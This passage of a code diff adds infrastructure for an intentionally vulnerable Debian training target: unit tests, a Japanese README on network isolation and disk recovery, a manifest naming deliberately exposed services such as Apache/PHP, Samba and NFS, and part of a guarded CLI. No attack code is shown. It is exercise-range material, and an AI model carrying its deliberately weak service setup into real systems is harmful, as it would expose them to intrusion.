+            offline_command.index("export BRIDGE_TARGET_TOKEN"),
+            offline_command.index("node apps/lab-guide/server/index.mjs"),
+        )
+        self.assertNotIn("lab.examserver.test", prepare + day_of)
+        self.assertNotIn("--guide-dist", prepare)
+
+    def test_runbooks_bind_identity_privacy_and_ethernet_owner(self) -> None:
+        prepare = (OPERATOR_ROOT / "PREPARE-TARGET.md").read_text(
+            encoding="utf-8"
+        )
+        day_of = (OPERATOR_ROOT / "DAY-OF.md").read_text(encoding="utf-8")
+        recovery = (OPERATOR_ROOT / "RECOVERY.md").read_text(encoding="utf-8")
+        fixtures = (
+            OPERATOR_ROOT.parent / "world" / "fixtures" / "README.md"
+        ).read_text(encoding="utf-8")
+        platform_readme = (PLATFORM_ROOT / "README.md").read_text(encoding="utf-8")
+
+        for token in (
+            "ID=debian VERSION_ID=13",
+            "dpkg --print-architecture",
+            "uname -m",
+            "open-world-file-watch.service",
+            "raw syscall record",
+            "systemd-networkd.service",
+            "直接`ip`操作",
+        ):
+            self.assertIn(token, prepare + day_of + platform_readme)
+        self.assertIn("信頼済みの互換Linux", recovery)
+        self.assertIn("USBへblock-backed full install", recovery)
+        self.assertIn("rootSharesRecoveryMedia=true", recovery)
+        self.assertIn("`BindsTo`", fixtures)
+        self.assertIn("telemetry socket", fixtures)
+
+    def test_bootstrap_and_recovery_examples_match_cli_contracts(self) -> None:
+        bootstrap = (OPERATOR_ROOT / "PACKAGE-BOOTSTRAP.md").read_text(
+            encoding="utf-8"
+        )
+        self.assertIn("--boot-environment installed-debian", bootstrap)
+        marker = json.loads(
+            (
+                PLATFORM_ROOT / "recovery-marker.example.json"
+            ).read_text(encoding="utf-8")
+        )
+        self.assertIn("goldenDebianFilesystemUuid", marker)
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/labs/open-world-target/operator/tests/test_recovery_kit.py b/labs/open-world-target/operator/tests/test_recovery_kit.py
new file mode 100644
index 0000000..e11f5c0
--- /dev/null
+++ b/labs/open-world-target/operator/tests/test_recovery_kit.py
@@ -0,0 +1,124 @@
+from __future__ import annotations
+
+import hashlib
+import json
+import sys
+import tempfile
+import unittest
+from pathlib import Path
+
+OPERATOR_ROOT = Path(__file__).resolve().parents[1]
+sys.path.insert(0, str(OPERATOR_ROOT))
+sys.path.insert(0, str(OPERATOR_ROOT.parent / "platform"))
+
+from build_recovery_kit import build_kit, verify_kit  # noqa: E402
+from open_world_platform.model import ContractError  # noqa: E402
+from tests.helpers import profile  # noqa: E402
+
+
+class RecoveryKitTests(unittest.TestCase):
+    def test_build_and_verify_are_content_addressed(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            assets = root / "source"
+            (assets / "assets").mkdir(parents=True)
+            values = {
+                "goldenBtrfsStream": ("debian-root.btrfs", b"btrfs"),
+                "debianEfiArchive": ("debian-efi.tar", b"efi"),
+                "bareMetalImage": ("full-disk.img", b"disk"),
+            }
+            profile_value = profile()
+            for key, (name, content) in values.items():
+                path = assets / "assets" / name
+                path.write_bytes(content)
+                profile_value["recovery"][key]["sha256"] = hashlib.sha256(
+                    content
+                ).hexdigest()
+                if key == "bareMetalImage":
+                    profile_value["target"]["diskSizeBytes"] = len(content)
+            profile_path = root / "profile.json"
+            profile_path.write_text(json.dumps(profile_value), encoding="utf-8")
+            output = root / "kit"
+            built = build_kit(profile_path, assets, output)
+            verified = verify_kit(output)
+            self.assertTrue(built["ok"])
+            self.assertEqual(
+                built["kitManifestSha256"], verified["kitManifestSha256"]
+            )
+            self.assertTrue((output / "RECOVERY-MEDIA.json").is_file())
+            recovery_marker = json.loads(
+                (output / "RECOVERY-MEDIA.json").read_text(encoding="utf-8")
+            )
+            self.assertEqual(
+                recovery_marker["goldenDebianFilesystemUuid"],
+                profile_value["recovery"]["goldenBtrfsStream"][
+                    "filesystemUuid"
+                ],
+            )
+            self.assertTrue((output / "tool/open-world-platform").is_file())
+            kit_manifest = json.loads(
+                (output / "KIT-MANIFEST.json").read_text(encoding="utf-8")
+            )
+            self.assertEqual(
+                kit_manifest["goldenDebianFilesystemUuid"],
+                profile_value["recovery"]["goldenBtrfsStream"][
+                    "filesystemUuid"
+                ],
+            )
+
+    def test_verify_rejects_any_changed_asset(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            assets = root / "source"
+            (assets / "assets").mkdir(parents=True)
+            profile_value = profile()
+            for key, name in (
+                ("goldenBtrfsStream", "debian-root.btrfs"),
+                ("debianEfiArchive", "debian-efi.tar"),
+                ("bareMetalImage", "full-disk.img"),
+            ):
+                content = key.encode("ascii")
+                (assets / "assets" / name).write_bytes(content)
+                profile_value["recovery"][key]["sha256"] = hashlib.sha256(
+                    content
+                ).hexdigest()
+                if key == "bareMetalImage":
+                    profile_value["target"]["diskSizeBytes"] = len(content)
+            profile_path = root / "profile.json"
+            profile_path.write_text(json.dumps(profile_value), encoding="utf-8")
+            output = root / "kit"
+            build_kit(profile_path, assets, output)
+            (output / "assets/debian-root.btrfs").write_bytes(b"tampered")
+            with self.assertRaisesRegex(ContractError, "hash mismatch"):
+                verify_kit(output)
+
+    def test_build_rejects_wrong_full_image_logical_size(self) -> None:
+        with tempfile.TemporaryDirectory() as temp:
+            root = Path(temp)
+            assets = root / "source"
+            (assets / "assets").mkdir(parents=True)
+            profile_value = profile()
+            for key, name in (
+                ("goldenBtrfsStream", "debian-root.btrfs"),
+                ("debianEfiArchive", "debian-efi.tar"),
+                ("bareMetalImage", "full-disk.img"),
+            ):
+                content = key.encode("ascii")
+                path = assets / "assets" / name
+                path.write_bytes(content)
+                profile_value["recovery"][key]["sha256"] = hashlib.sha256(
+                    content
+                ).hexdigest()
+            profile_value["target"]["diskSizeBytes"] = 1
+            profile_path = root / "profile.json"
+            profile_path.write_text(
+                json.dumps(profile_value), encoding="utf-8"
+            )
+            with self.assertRaisesRegex(
+                ContractError, "logical size does not exactly match"
+            ):
+                build_kit(profile_path, assets, root / "kit")
+
+
+if __name__ == "__main__":
+    unittest.main()
diff --git a/labs/open-world-target/platform/.gitignore b/labs/open-world-target/platform/.gitignore
new file mode 100644
index 0000000..43ae0e2
--- /dev/null
+++ b/labs/open-world-target/platform/.gitignore
@@ -0,0 +1,2 @@
+__pycache__/
+*.py[cod]
diff --git a/labs/open-world-target/platform/README.md b/labs/open-world-target/platform/README.md
new file mode 100644
index 0000000..74728c6
--- /dev/null
+++ b/labs/open-world-target/platform/README.md
@@ -0,0 +1,214 @@
+# Debian platform
+
+このディレクトリは、Debian 13実機を安全側から演習modeへ切り替えるための正本です。
+初期値は常にdry-runで、実機へ書く操作は一致検査と明示的な`--apply`がない限り実行しません。
+
+## 所有するもの
+
+- `manifest.json`: Debian release、package、service、port、install fileの固定一覧
+- `profile.example.json`: 実機固有のdisk、PARTUUID、NIC、復旧asset情報の型
+- `templates/`: wired-only network、DHCP-only dnsmasq、nftables、systemd mode
+- `open_world_platform/`: overlay生成、inventory、preflight、mode、install、recovery CLI
+- `tests/`: hostのdisk/networkへ触れないcontract test
+
+攻撃world、flag、telemetryの内容はここへ置きません。service名だけを
+`manifest.json`の`serviceProviders`で相互契約にしています。
+
+## Fail-closedの順序
+
+Exerciseへの遷移は次の順序を変えません。
+
+1. live `/`、disk identity、3 PARTUUIDが対象Debianと一致することを確認する。
+2. 対象OSのlive identityが`ID=debian`、`VERSION_ID=13`、`dpkg --print-architecture=amd64`、
+   `uname -m=x86_64`であることを確認する。install、target install、mode、preflightは一つでも
+   異なれば拒否する。これは対象Debianのgateであり、信頼済みrecovery USBは必要toolを備えた
+   別の互換Linuxでよい。
+3. 全lab serviceを停止する。
+4. NetworkManager、wpa_supplicant、systemd-resolvedを停止する。
+5. Wi-Fi、WWAN、Bluetoothをrfkillし、wired以外のNICをdownにする。
+6. wiredを`10.13.37.10/24`だけにし、default routeを消す。
+7. IPv4 forwardingとIPv6を止め、output dropのnftablesを入れる。
+8. 読み取り専用inventoryでisolation preflightを通す。
+9. `/run/open-world-lab/exercise-ready`を作り、初めてlab serviceを起動する。
+10. service込みのready preflightを通す。失敗時はmarkerを消してmaintenanceへ戻す。
+
+Maintenanceは最初に全lab serviceを止め、quarantine firewallを入れます。Wi-Fiを使う操作は
+`connectivity-on`へ分離され、対象Debianの一致、全service停止、未消費fresh marker、
+session/state不在をlive inventoryで確認できなければ実行できません。一度でもexerciseへ入ったOSは
+root compromise済みとして扱い、信頼済みrecovery完了までconnectivityを再開しません。
+
+## Profile
+
+`profile.example.json`をコピーし、対象実機と信頼済み復旧mediaで読んだ値だけを記入します。
+次の値に推測、短縮名、`/dev/sda`のような不安定名を使いません。
+
+- `/dev/disk/by-id/...`、serial、WWN、byte単位のdisk size
+- Debian、ESP、WindowsのPARTUUID
+- wired interface名とMAC address
+- NetworkManagerを使うmaintenance connectivity
+- 復旧USBのfilesystem UUID、golden Debian Btrfs UUID、kit ID、3 assetのSHA-256
+- `EFI/Microsoft` treeのSHA-256
+
+placeholder、0 byte disk、相対disk path、不正なhashが一つでもあれば`validate`は失敗します。
+
+```text
+python -m open_world_platform.cli validate --profile profile.json
+```
+
+## Deterministic overlay
+
+空のstaging directoryだけを出力先にします。同じmanifest/profile/sourceからは同じtree hashが
+生成されます。既存fileがあるdirectoryを自動cleanしません。
+
+```text
+python -m open_world_platform.cli render \
+  --profile profile.json \
+  --output build/platform-overlay
+```
+
+生成物にはinstall fileごとのmode/hash、package一覧、platform manifest、実機profileが入ります。
+`install`も既定はplan出力だけです。適用には、live inventoryと一致するdisk identity、
+3 PARTUUID、overlay tree hash、完全な確認文、root、`--apply`がすべて必要です。
+
+```text
+python -m open_world_platform.cli install \
+  --profile profile.json \
+  --overlay build/platform-overlay \
+  --overlay-sha256 ACTUAL_64_HEX \
+  --disk-by-id /dev/disk/by-id/ACTUAL_STABLE_ID \
+  --debian-partuuid ACTUAL_DEBIAN_PARTUUID \
+  --esp-partuuid ACTUAL_ESP_PARTUUID \
+  --windows-partuuid ACTUAL_WINDOWS_PARTUUID \
+  --confirm "INSTALL PLATFORM /dev/disk/by-id/ACTUAL_STABLE_ID" \
+  --inventory evidence/install-inventory.json
+```
+
+`--apply`を加える判断条件は[PREPARE-TARGET.md](../operator/PREPARE-TARGET.md)に固定しています。
+packageは[offline bootstrap手順](../operator/PACKAGE-BOOTSTRAP.md)でworld fixtureより先に導入し、
+NICを物理的に外した状態でoverlayを適用します。inventoryでmanifest package全件がinstalledと
+確認できなければplatform/target installは拒否します。初回だけはmaintenance unit未導入の
+`installed-debian`を、route/外部DNS/非loopback listenerなし・radio blocked・全service inactiveの
+strict offline状態で受け付けます。
+overlay適用後はboot quarantineを先に起動し、lab/connectivity serviceをdisabledにします。
+
+## Deterministic target bundle
+
+`build-target-bundle`はworld fixtureとtelemetry runtimeを一時directoryで結合し、全fileの
+SHA-256・owner・group・modeを`TARGET-BUNDLE.json`へ固定します。guide build、server、serviceは
+入力にもDebian出力にも含めません。13個のDebian flagと
+1個のWindows offline flagを別roleにし、Windows/installer-private fileをDebianへ導入しません。
+Debian runtimeへ入るのは一方向hashの`flag-verifiers.mjs`だけで、平文answer moduleはbuild専用です。
+event HMAC keyはbundleへ保存せず、guarded `install-target --apply`時に32 random bytes相当を
+生成します。telemetry Bridge bearer tokenもbundleへ保存せず、fresh exercise開始ごとに
+32 random bytesから生成し、`/etc/examserver-open-world/session.env`へ
+`root:lab-telemetry 0640`でsession IDと一緒にatomic書き込みします。
+
+```text
+python -m open_world_platform.cli build-target-bundle \
+  --repo-root ../../.. \
+  --output build/target-bundle
+
+python -m open_world_platform.cli verify-target-bundle \
+  --bundle build/target-bundle
+```
+
+`install-target`も既定はdry-runです。live `/`がprofileのDebian PARTUUID、maintenance quarantine、
+disk identity、3 PARTUUID、bundle manifest hash、完全な確認文のすべてに一致して初めて適用できます。
+適用はApache/PHP、SSH、Samba、NFS/file watcher、SUID helper、telemetryを検証しますが、lab serviceと
+telemetry socketはdisabledのまま残し、fresh-state markerをgolden snapshot前に用意します。
+markerは全config検査、unit停止、maintenance起動、masked状態の再確認が終わった最後にだけ配置します。
+
+NFSはv4-onlyの2049/TCPを公開し、標準unitが必要とするmountdは固定20048/TCPにします。
+`rpcbind.service`/`.socket`と不要なstatd unitをmaskし、20048はexercise nftablesで直結側から
+明示dropします。root所有の`open-world-file-watch.service`もexercise中の必須serviceです。これは
+bundleに固定したallowlist pathだけをinotifyで監視し、raw syscall record、command、任意path、
+file contentを保存・送信しません。
+preflightはこの境界が揃う場合にだけ内部mountd listenerを許容します。
+
+保守接続ではprofileの直結EthernetをNetworkManagerの`unmanaged-devices`へ固定します。
+`connectivity-on`は同NICがdown、carrierなし、addressなしであり、専用cableが物理的に外れた状態を
+要求します。planもwired down/address flushをhost firewallとNetworkManager起動より先に実行します。
+直結Ethernetの設定ownerはmode controllerの直接`ip`操作だけです。未使用の
+`systemd-networkd` `.network`設定は置かず、`systemd-networkd.service`はmasked/inactiveのままにして
+NetworkManagerやmode controllerと競合させません。
+
+Sambaは`smbd`のTCP/445だけを使い、`nmbd.service`を常時inactive/maskedにして
+TCP/139とUDP/137-138を公開しません。dnsmasqのleaseはsession directoryと分離した
+`/run/open-world-dnsmasq/dnsmasq.leases`へ置き、tmpfilesで`dnsmasq:root 0640`
+（親directoryは`0750`）を毎boot作ります。
+
+dnsmasqは直結EthernetのDHCPだけを所有します。`port=0`でDNS listenerを無効にし、DHCPでは
+router、DNS server、search domainを広告しません。Debian packageのhelperをsystemd drop-inで置換し、
+専用configだけを明示して暗黙のconf-dir、resolvconf、上流resolverを使いません。
+`--user=dnsmasq`でlease所有者と実効userを一致させます。nftablesはTCP/53、UDP/53、TCP/8080を
+許可せず、Kali Bridge用のTCP/8787だけを直結interface/subnetへ追加します。公開guideは
+`LAB_PUBLIC_ORIGIN`のVercel URLであり、Debianのhost名やportではありません。
+
+Windows bonusはprofileの`windowsPartuuid`から生成した`mnt-windows.mount`がexercise中だけ
+`/mnt/windows`へ`ntfs3`の`ro,nosuid,nodev,noexec`でmountします。このunitはboot時disabledで、
+`open-world-vulnerable.target`の停止に連動してunmountされます。ready preflightはexact device、
+PARTUUID、filesystem、mount options、unit activeを検証します。Windows側はgolden前にsystem volumeを
+完全復号し、hibernation/Fast Startupを無効化する実機gateが別途必要です。
+
+## Preflightとmode
+
+fixture fileを使う確認はhost stateを変えません。
+
+```text
+python -m open_world_platform.cli preflight \
+  --profile profile.json \
+  --mode exercise \
+  --stage ready \
+  --inventory evidence/exercise-inventory.json
+```
+
+実機ではまず`--apply`なしのplanを読みます。
+
+```text
+sudo open-world-platform mode \
+  --profile /etc/open-world-lab/profile.json \
+  --to exercise
+```
+
+適用例と当日の停止条件は[DAY-OF.md](../operator/DAY-OF.md)にあります。通常bootは
+`open-world-boot-quarantine.service`とmaintenance target、演習時だけ
+`open-world-exercise.target`を使います。
+
+## Recovery
+
+`recover`はinstalled Debianから実行できません。次が全部一致した信頼済みremovable media上だけで
+planまたはrestoreを作ります。
+
+- boot environmentが`trusted-recovery-media`
+- recovery media UUID、kit marker、kit ID
+- assetがrecovery mount配下の通常fileで、profileと指定値のSHA-256に一致
+- disk by-id、serial、WWN、size、3 PARTUUID
+- target partitionがunmounted
+- recovery mediaのsource deviceがtarget diskではない
+- recovery boot rootがremovableで、空でないblock topologyを持ち、target diskを含まない
+- recovery boot rootとasset mountが同じ物理USB diskを共有する
+- operation固有の完全な確認文
+
+対象Debian用のlive identity gate（Debian 13 amd64/x86_64）はrecovery media自身へは適用しません。
+recovery USBは必要toolを備えた別の信頼済み互換Linuxで構いません。
+supported構成はその互換LinuxをUSBへblock-backed full installしたものです。`overlay` rootのlive ISO/Live USBや、
+内蔵diskからbootしてasset USBだけをmountした構成は拒否します。
+
+Normal recoveryはDebian partitionだけをBtrfs streamから作り直し、`EFI/Microsoft`のtree hashを
+golden profileに固定した同じBtrfs UUIDを`mkfs.btrfs --uuid`へ渡して`blkid`で読み戻します。
+これにより、復元するDebian EFI/GRUB loaderが保持するfilesystem UUID探索も一致させます。
+受信した`@`をwritableに戻し、`fstab`/`grub.cfg`のstable PARTUUID/label契約も検証します。
+その後`EFI/Microsoft`を前後比較してから`EFI/debian`だけを戻します。Full recoveryはpartition table、Windows、ESP、
+Debianを含むdisk全体を上書きする別operationです。詳しくは[RECOVERY.md](../operator/RECOVERY.md)。
+Full recoveryはhashだけでなくraw imageのlogical byte sizeがprofileの対象disk sizeと完全一致しなければ
+`dd`へ進みません。
+
+## Automated verification
+
+```text
+python -m unittest discover -s tests -v
+```
+
+このtestはfixture inventoryと一時directoryだけを使い、`ip`、`nft`、`systemctl`、`mkfs`、
+`mount`、`btrfs receive`、`dd`を実行しません。物理的なdual boot、Wi-Fi firmware、実NIC隔離、
+Windows boot、実restoreは自動testの合格とは別gateです。
diff --git a/labs/open-world-target/platform/manifest.json b/labs/open-world-target/platform/manifest.json
new file mode 100644
index 0000000..45c1f55
--- /dev/null
+++ b/labs/open-world-target/platform/manifest.json
@@ -0,0 +1,242 @@
+{
+  "schemaVersion": 1,
+  "labId": "examserver-open-world-v1",
+  "debian": {
+    "release": "13",
+    "codename": "trixie",
+    "architecture": "amd64",
+    "filesystem": "btrfs",
+    "rootSubvolume": "@"
+  },
+  "packages": [
+    "apache2",
+    "btrfs-progs",
+    "build-essential",
+    "dnsmasq",
+    "iproute2",
+    "iputils-ping",
+    "jq",
+    "libapache2-mod-php",
+    "network-manager",
+    "nfs-kernel-server",
+    "nftables",
+    "nodejs",
+    "openssh-server",
+    "python3",
+    "rfkill",
+    "rsync",
+    "samba",
+    "sudo",
+    "systemd-resolved",
+    "wpasupplicant"
+  ],
+  "network": {
+    "targetAddress": "10.13.37.10/24",
+    "subnet": "10.13.37.0/24",
+    "dnsListenerEnabled": false,
+    "advertiseDnsServer": false,
+    "allowUpstreamDns": false,
+    "dhcpRange": [
+      "10.13.37.100",
+      "10.13.37.199"
+    ],
+    "allowedTcpPorts": [
+      22,
+      80,
+      445,
+      2049,
+      8787
+    ],
+    "allowedUdpPorts": [
+      67
+    ],
+    "allowDefaultRoute": false,
+    "allowExternalDnsServers": false,
+    "allowIpv6": false
+  },
+  "services": {
+    "vulnerable": [
+      "apache2.service",
+      "nfs-server.service",
+      "open-world-root-timer.timer",
+      "smbd.service",
+      "ssh.service"
+    ],
+    "exerciseInfrastructure": [
+      "dnsmasq.service",
+      "open-world-file-watch.service",
+      "open-world-nfs-watch.service",
+      "open-world-telemetry.service"
+    ],
+    "maintenanceConnectivity": [
+      "NetworkManager.service",
+      "systemd-resolved.service",
+      "wpa_supplicant.service"
+    ]
+  },
+  "serviceProviders": {
+    "NetworkManager.service": {
+      "kind": "package",
+      "name": "network-manager"
+    },
+    "apache2.service": {
+      "kind": "package",
+      "name": "apache2"
+    },
+    "dnsmasq.service": {
+      "kind": "package",
+      "name": "dnsmasq",
+      "config": "/etc/dnsmasq.d/open-world-lab.conf"
+    },
+    "nfs-server.service": {
+      "kind": "package",
+      "name": "nfs-kernel-server"
+    },
+    "open-world-file-watch.service": {
+      "kind": "project",
+      "owner": "labs/open-world-target/platform"
+    },
+    "open-world-nfs-watch.service": {
+      "kind": "project",
+      "owner": "labs/open-world-target/world"
+    },
+    "open-world-root-timer.timer": {
+      "kind": "project",
+      "owner": "labs/open-world-target/world"
+    },
+    "open-world-telemetry.service": {
+      "kind": "project",
+      "owner": "labs/open-world-target/telemetry"
+    },
+    "smbd.service": {
+      "kind": "package",
+      "name": "samba"
+    },
+    "ssh.service": {
+      "kind": "package",
+      "name": "openssh-server"
+    },
+    "systemd-resolved.service": {
+      "kind": "package",
+      "name": "systemd-resolved"
+    },
+    "wpa_supplicant.service": {
+      "kind": "package",
+      "name": "wpasupplicant"
+    }
+  },
+  "mode": {
+    "exerciseConfirmation": "ENTER EXERCISE MODE",
+    "maintenanceConfirmation": "ENTER MAINTENANCE MODE",
+    "connectivityConfirmation": "ENABLE MAINTENANCE CONNECTIVITY"
+  },
+  "recovery": {
+    "normalConfirmationPrefix": "RESTORE DEBIAN",
+    "fullConfirmationPrefix": "RESTORE FULL DISK INCLUDING WINDOWS",
+    "mountRoot": "/run/open-world-recovery"
+  },
+  "installFiles": [
+    {
+      "source": "templates/etc/NetworkManager/conf.d/90-open-world-maintenance.conf",
+      "target": "/etc/NetworkManager/conf.d/90-open-world-maintenance.conf",
+      "mode": "0644",
+      "template": true
+    },
+    {
+      "source": "templates/etc/default/grub.d/90-open-world-root.cfg",
+      "target": "/etc/default/grub.d/90-open-world-root.cfg",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/dnsmasq.d/open-world-lab.conf",
+      "target": "/etc/dnsmasq.d/open-world-lab.conf",
+      "mode": "0644",
+      "template": true
+    },
+    {
+      "source": "templates/etc/nftables.d/open-world-exercise.nft",
+      "target": "/etc/nftables.d/open-world-exercise.nft",
+      "mode": "0600",
+      "template": true
+    },
+    {
+      "source": "templates/etc/nftables.d/open-world-quarantine.nft",
+      "target": "/etc/nftables.d/open-world-quarantine.nft",
+      "mode": "0600",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/open-world-exercise.target",
+      "target": "/etc/systemd/system/open-world-exercise.target",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/open-world-boot-quarantine.service",
+      "target": "/etc/systemd/system/open-world-boot-quarantine.service",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/open-world-maintenance.target",
+      "target": "/etc/systemd/system/open-world-maintenance.target",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/open-world-vulnerable.target",
+      "target": "/etc/systemd/system/open-world-vulnerable.target",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/open-world-vulnerable-failure.service",
+      "target": "/etc/systemd/system/open-world-vulnerable-failure.service",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/dnsmasq.service.d/90-open-world-target.conf",
+      "target": "/etc/systemd/system/dnsmasq.service.d/90-open-world-target.conf",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/systemd/system/mnt-windows.mount",
+      "target": "/etc/systemd/system/mnt-windows.mount",
+      "mode": "0644",
+      "template": true
+    },
+    {
+      "source": "templates/etc/systemd/system-preset/00-open-world-lab.preset",
+      "target": "/etc/systemd/system-preset/00-open-world-lab.preset",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/sysctl.d/90-open-world-exercise.conf",
+      "target": "/etc/sysctl.d/90-open-world-exercise.conf",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/tmpfiles.d/open-world-dnsmasq.conf",
+      "target": "/etc/tmpfiles.d/open-world-dnsmasq.conf",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/etc/tmpfiles.d/open-world-windows.conf",
+      "target": "/etc/tmpfiles.d/open-world-windows.conf",
+      "mode": "0644",
+      "template": false
+    },
+    {
+      "source": "templates/usr/local/sbin/open-world-platform",
+      "target": "/usr/local/sbin/open-world-platform",
+      "mode": "0755",
+      "template": false
+    }
+  ]
+}
diff --git a/labs/open-world-target/platform/open_world_platform/__init__.py b/labs/open-world-target/platform/open_world_platform/__init__.py
new file mode 100644
index 0000000..db7b63a
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/__init__.py
@@ -0,0 +1,3 @@
+"""Fail-closed platform tooling for the ExamServer open-world lab."""
+
+__version__ = "1.0.0"
diff --git a/labs/open-world-target/platform/open_world_platform/cli.py b/labs/open-world-target/platform/open_world_platform/cli.py
new file mode 100644
index 0000000..088278d
--- /dev/null
+++ b/labs/open-world-target/platform/open_world_platform/cli.py
@@ -0,0 +1,480 @@
+from __future__ import annotations
+
+import argparse
+import os
+import sys
+from pathlib import Path
+from typing import Any
+
+from .install import (
+    InstallRequest,
+    apply_install,
+    install_plan,
+    validate_install_request,
+)
+from .inventory import collect_live_inventory
+from .mode import (
+    enter_exercise,
+    enter_maintenance,
+    set_maintenance_connectivity,
+)
+from .model import (
+    ContractError,
+    canonical_json,
+    load_json,
+    sha256_file,
+    validate_manifest,
+    validate_profile,
+    validate_profile_against_manifest,
+)
+from .preflight import evaluate_exercise, evaluate_maintenance, result
+from .recovery import (
+    RecoveryRequest,
+    apply_recovery,
+    recovery_plan,
+    tree_sha256,
+    validate_recovery_request,
+)
+from .render import platform_root, render_overlay, tree_digest
+from .target_bundle import build_target_bundle, validate_target_bundle
+from .target_install import (
+    TargetInstallRequest,
+    apply_target_install,
+    target_install_plan,
+    validate_target_install_request,
+)
+
+
+INSTALLED_MANIFEST = Path(
+    "/usr/local/share/open-world-lab/platform-manifest.json"
+)
+SOURCE_MANIFEST = platform_root() / "manifest.json"
+
+
+def _default_manifest() -> Path:
+    configured = os.environ.get("OPEN_WORLD_PLATFORM_MANIFEST")
+    if configured:
+        return Path(configured)
+    return INSTALLED_MANIFEST if INSTALLED_MANIFEST.is_file() else SOURCE_MANIFEST
+
+
+def _write_result(value: dict[str, Any], output: Path | None = None) -> None:
+    content = canonical_json(value)
+    if output is None:
+        sys.stdout.buffer.write(content)
+        return
+    if output.exists():
+        raise ContractError(f"refusing to overwrite output: {output}")
+    output.parent.mkdir(parents=True, exist_ok=True)
+    output.write_bytes(content)
+
+
+def _add_contract_args(parser: argparse.ArgumentParser) -> None:
+    parser.add_argument("--manifest", type=Path, default=_default_manifest())
+    parser.add_argument("--profile", type=Path, required=True)
+
+
+def _contracts(args: argparse.Namespace) -> tuple[dict[str, Any], dict[str, Any]]:
+    manifest = load_json(args.manifest)
+    profile = load_json(args.profile)
+    validate_manifest(manifest)
+    validate_profile(profile)
+    validate_profile_against_manifest(manifest, profile)
+    return manifest, profile
+
+
+def _inventory(
+    args: argparse.Namespace,
+    manifest: dict[str, Any],
+    profile: dict[str, Any],
+) -> dict[str, Any]:
+    if getattr(args, "inventory", None):
+        return load_json(args.inventory)
+    inventory = collect_live_inventory(
+        manifest,
+        profile,
+        recovery_mount=getattr(args, "recovery_mount", None),
+    )
+    expected = getattr(args, "boot_environment", None)
+    if expected and inventory.get("bootEnvironment") != expected:
+        raise ContractError(
+            f"derived boot environment is {inventory.get('bootEnvironment')!r}, "
+            f"not {expected!r}"
+        )
+    return inventory
+
+
+def _cmd_validate(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    return {
+        "ok": True,
+        "labId": manifest["labId"],
+        "wiredInterface": profile["network"]["wiredInterface"],
+    }
+
+
+def _cmd_render(args: argparse.Namespace) -> dict[str, Any]:
+    generated = render_overlay(args.manifest, args.profile, args.output)
+    return {
+        "ok": True,
+        "output": str(args.output.resolve()),
+        "treeSha256": tree_digest(args.output),
+        "fileCount": len(generated["files"]) + 1,
+    }
+
+
+def _cmd_inventory(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    inventory = collect_live_inventory(
+        manifest,
+        profile,
+        recovery_mount=args.recovery_mount,
+    )
+    if inventory.get("bootEnvironment") != args.boot_environment:
+        raise ContractError(
+            f"derived boot environment is {inventory.get('bootEnvironment')!r}, "
+            f"not {args.boot_environment!r}"
+        )
+    return inventory
+
+
+def _cmd_preflight(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    inventory = _inventory(args, manifest, profile)
+    if args.mode == "exercise":
+        issues = evaluate_exercise(
+            manifest,
+            profile,
+            inventory,
+            require_services=args.stage == "ready",
+        )
+    else:
+        issues = evaluate_maintenance(
+            manifest,
+            profile,
+            inventory,
+            connectivity_may_be_enabled=args.mode == "maintenance-connectivity",
+        )
+    return result(args.mode, issues)
+
+
+def _cmd_mode(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    inventory = (
+        collect_live_inventory(manifest, profile)
+        if args.apply
+        else _inventory(args, manifest, profile)
+    )
+    provider = None
+    if args.apply:
+        provider = lambda: collect_live_inventory(
+            manifest,
+            profile,
+        )
+    if args.to == "exercise":
+        return enter_exercise(
+            manifest,
+            profile,
+            inventory,
+            apply=args.apply,
+            confirmation=args.confirm,
+            inventory_provider=provider,
+        )
+    if args.to == "maintenance":
+        return enter_maintenance(
+            manifest,
+            profile,
+            apply=args.apply,
+            confirmation=args.confirm,
+            inventory_provider=provider,
+        )
+    return set_maintenance_connectivity(
+        manifest,
+        profile,
+        inventory,
+        enabled=args.to == "connectivity-on",
+        apply=args.apply,
+        confirmation=args.confirm,
+        inventory_provider=provider,
+    )
+
+
+def _install_request(args: argparse.Namespace) -> InstallRequest:
+    return InstallRequest(
+        disk_by_id=args.disk_by_id,
+        debian_partuuid=args.debian_partuuid,
+        esp_partuuid=args.esp_partuuid,
+        windows_partuuid=args.windows_partuuid,
+        overlay_sha256=args.overlay_sha256.lower(),
+        confirmation=args.confirm,
+    )
+
+
+def _cmd_install(args: argparse.Namespace) -> dict[str, Any]:
+    manifest, profile = _contracts(args)
+    inventory = (
+        collect_live_inventory(
+            manifest,
+            profile,
+        )
+        if args.apply
+        else _inventory(args, manifest, profile)
+    )
+    request = _install_request(args)
+    generated = validate_install_request(
+        manifest, profile, inventory, args.overlay, request
+    )
+    if not args.apply:
+        return install_plan(profile, request, generated)
+    return apply_install(args.overlay, generated)
+
+
+def _cmd_build_target_bundle(args: argparse.Namespace) -> dict[str, Any]:
+    return build_target_bundle(
+        args.repo_root, args.output, node_binary=args.node
+    )
+
+
+def _cmd_verify_target_bundle(args: argparse.Namespace) -> dict[str, Any]:
+    return validate_target_bundle(args.bundle)
+
+
+def _target_install_request(args: argparse.Namespace) -> TargetInstallRequest:
+    return TargetInstallRequest(
